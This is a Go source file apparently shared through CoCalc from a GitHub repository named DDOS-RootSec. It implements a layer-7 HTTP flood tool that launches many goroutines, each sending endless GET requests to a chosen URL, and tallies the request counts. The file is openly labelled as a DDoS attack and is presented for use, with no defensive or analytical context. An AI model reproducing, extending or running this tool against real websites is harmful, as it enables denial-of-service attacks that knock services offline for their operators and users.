Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/Ddos.go
4607 views
1
package ddos
2
3
import (
4
"fmt"
5
"io"
6
"io/ioutil"
7
"net/http"
8
"net/url"
9
"runtime"
10
"sync/atomic"
11
)
12
13
// DDoS - structure of value for DDoS attack
14
type DDoS struct {
15
url string
16
stop *chan bool
17
amountWorkers int
18
19
// Statistic
20
successRequest int64
21
amountRequests int64
22
}
23
24
// New - initialization of new DDoS attack
25
func New(URL string, workers int) (*DDoS, error) {
26
if workers < 1 {
27
return nil, fmt.Errorf("Amount of workers cannot be less 1")
28
}
29
u, err := url.Parse(URL)
30
if err != nil || len(u.Host) == 0 {
31
return nil, fmt.Errorf("Undefined host or error = %v", err)
32
}
33
s := make(chan bool)
34
return &DDoS{
35
url: URL,
36
stop: &s,
37
amountWorkers: workers,
38
}, nil
39
}
40
41
// Run - run DDoS attack
42
func (d *DDoS) Run() {
43
for i := 0; i < d.amountWorkers; i++ {
44
go func() {
45
for {
46
select {
47
case <-(*d.stop):
48
return
49
default:
50
// sent http GET requests
51
resp, err := http.Get(d.url)
52
atomic.AddInt64(&d.amountRequests, 1)
53
if err == nil {
54
atomic.AddInt64(&d.successRequest, 1)
55
_, _ = io.Copy(ioutil.Discard, resp.Body)
56
_ = resp.Body.Close()
57
}
58
}
59
runtime.Gosched()
60
}
61
}()
62
}
63
}
64
65
// Stop - stop DDoS attack
66
func (d *DDoS) Stop() {
67
for i := 0; i < d.amountWorkers; i++ {
68
(*d.stop) <- true
69
}
70
close(*d.stop)
71
}
72
73
// Result - result of DDoS attack
74
func (d DDoS) Result() (successRequest, amountRequests int64) {
75
return d.successRequest, d.amountRequests
76
}
77